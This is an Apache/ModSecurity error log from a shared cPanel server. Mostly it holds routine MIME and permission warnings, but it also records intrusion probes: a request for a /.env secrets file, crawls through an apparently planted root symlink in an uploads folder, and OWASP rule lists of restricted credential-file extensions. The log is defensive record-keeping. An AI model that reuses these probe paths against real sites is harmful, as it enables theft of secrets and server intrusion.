[Fri Jul 17 10:26:49.661850 2026] [security2:error] [pid 2075689:tid 2075689] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2EV6LQV5zcO01IS_CJwAAAAw"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:26:49.661892 2026] [security2:error] [pid 2075689:tid 2075689] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm2EV6LQV5zcO01IS_CJwAAAAw"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:26:50.241007 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:50.404607 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:51.479348 2026] [core:error] [pid 2075904:tid 2075904] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/TCP/cache_dma
[Fri Jul 17 10:26:51.809911 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:52.236877 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:53.569297 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:53.674397 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:53.776786 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:53.996416 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:54.005022 2026] [ssl:error] [pid 2075689:tid 2075689] (70014)End of file found: [client 66.85.158.91:44072] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:54.103477 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:54.203914 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:54.457247 2026] [security2:error] [pid 2076193:tid 2076193] [client 54.236.1.54:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "alm2ELUVEJ3gwrjEiOQXoQAAABA"]
[Fri Jul 17 10:26:54.457287 2026] [security2:error] [pid 2076193:tid 2076193] [client 54.236.1.54:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "alm2ELUVEJ3gwrjEiOQXoQAAABA"]
[Fri Jul 17 10:26:54.717257 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:54.929877 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:55.037894 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:55.582882 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:56.787306 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:44236] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:26:56.986414 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.140725 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.140901 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.140982 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141038 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141103 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141157 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141205 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141258 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141312 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141375 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141434 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141486 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141540 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141593 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141645 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141710 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141764 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141817 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141872 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.141958 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.142020 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.142199 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.142309 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.142450 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.142567 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.142751 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.142898 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.143078 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.143226 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.143390 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.143505 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.143702 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.143868 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.144026 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.144201 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.144369 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.144531 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.144704 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.144861 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.145022 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.145180 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.145366 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.145455 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.145542 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.145621 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.145750 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.145836 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.145923 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.146008 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.146135 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.146226 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.146314 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.146413 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.146522 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.146613 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.146734 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.146822 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.146925 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.147011 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.147124 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.147211 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.147294 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.147380 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.147472 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.347291 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.448834 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:58.649891 2026] [core:error] [pid 2075901:tid 2075901] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/hid-generic/bind
[Fri Jul 17 10:26:58.914524 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:59.056975 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:59.205274 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:59.316571 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.170.53.181:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "alm2GwTUp7iFPeTAJ9d2tAAAAAU"]
[Fri Jul 17 10:26:59.316739 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.170.53.181:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "alm2GwTUp7iFPeTAJ9d2tAAAAAU"]
[Fri Jul 17 10:26:59.316854 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.170.53.181:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "alm2GwTUp7iFPeTAJ9d2tAAAAAU"]
[Fri Jul 17 10:26:59.317158 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.170.53.181:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "alm2GwTUp7iFPeTAJ9d2tAAAAAU"]
[Fri Jul 17 10:26:59.317487 2026] [security2:error] [pid 2076132:tid 2076132] [client 107.170.53.181:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "alm2GwTUp7iFPeTAJ9d2tAAAAAU"]
[Fri Jul 17 10:26:59.382911 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:59.385267 2026] [core:error] [pid 2075728:tid 2075728] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/ttyS1/irq
[Fri Jul 17 10:26:59.496142 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:59.653831 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:59.693031 2026] [security2:error] [pid 2075692:tid 2075692] [client 43.250.241.144:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-global": Permission denied [hostname "colperlab.com"] [uri "/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/v4-shims.min.css"] [unique_id "alm2G_TLXGCuVk4hiAO_DQAAAAs"], referer: https://colperlab.com/
[Fri Jul 17 10:26:59.693081 2026] [security2:error] [pid 2075692:tid 2075692] [client 43.250.241.144:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-ip": Permission denied [hostname "colperlab.com"] [uri "/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/v4-shims.min.css"] [unique_id "alm2G_TLXGCuVk4hiAO_DQAAAAs"], referer: https://colperlab.com/
[Fri Jul 17 10:26:59.803680 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:59.839558 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:26:59.852159 2026] [security2:error] [pid 2075711:tid 2075711] [client 43.250.241.144:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-global": Permission denied [hostname "colperlab.com"] [uri "/wp-content/uploads/2024/06/Biology-min-400x300.jpg"] [unique_id "alm2Gx3_6y13_d3Np4_5dwAAAAE"], referer: https://colperlab.com/
[Fri Jul 17 10:26:59.852190 2026] [security2:error] [pid 2075711:tid 2075711] [client 43.250.241.144:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-ip": Permission denied [hostname "colperlab.com"] [uri "/wp-content/uploads/2024/06/Biology-min-400x300.jpg"] [unique_id "alm2Gx3_6y13_d3Np4_5dwAAAAE"], referer: https://colperlab.com/
[Fri Jul 17 10:26:59.904868 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:00.032606 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:00.108862 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:00.326546 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:00.327295 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:61/subsystem/tty15/power/"] [unique_id "alm2HPTLXGCuVk4hiAO_EAAAAAs"]
[Fri Jul 17 10:27:00.327340 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:61/subsystem/tty15/power/"] [unique_id "alm2HPTLXGCuVk4hiAO_EAAAAAs"]
[Fri Jul 17 10:27:00.427489 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:00.528896 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:00.753167 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:00.856832 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:01.059194 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:01.161369 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:01.270981 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:01.392748 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:01.494650 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:01.816949 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:02.018824 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:02.335019 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:02.539431 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:02.640610 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:02.741718 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:02.843154 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:02.948180 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:03.045919 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:03.093905 2026] [ssl:error] [pid 2076258:tid 2076258] (70014)End of file found: [client 66.85.158.91:59760] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:03.156068 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:03.260596 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:03.359726 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:03.459280 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:51/subsystem/ttyS0/irq
[Fri Jul 17 10:27:03.785749 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:03.898742 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:03.899702 2026] [security2:error] [pid 2078862:tid 2078862] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:22/subsystem/tty24/power/"] [unique_id "alm2H1dpwFZenNBvzwM3kwAAAA4"]
[Fri Jul 17 10:27:03.899741 2026] [security2:error] [pid 2078862:tid 2078862] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:22/subsystem/tty24/power/"] [unique_id "alm2H1dpwFZenNBvzwM3kwAAAA4"]
[Fri Jul 17 10:27:04.107662 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:04.164554 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:04.174998 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:04.210946 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:04.211826 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/tty7/power/"] [unique_id "alm2IED0S6w5KyU992IOKAAAAAM"]
[Fri Jul 17 10:27:04.211861 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/tty7/power/"] [unique_id "alm2IED0S6w5KyU992IOKAAAAAM"]
[Fri Jul 17 10:27:04.316752 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:59826] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:27:04.322660 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:27:04.382805 2026] [security2:error] [pid 2075908:tid 2075908] [client 47.82.51.20:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/zip.ini"] [unique_id "alm2IEj_u9-aE9qeQW0dhgAAAAk"]
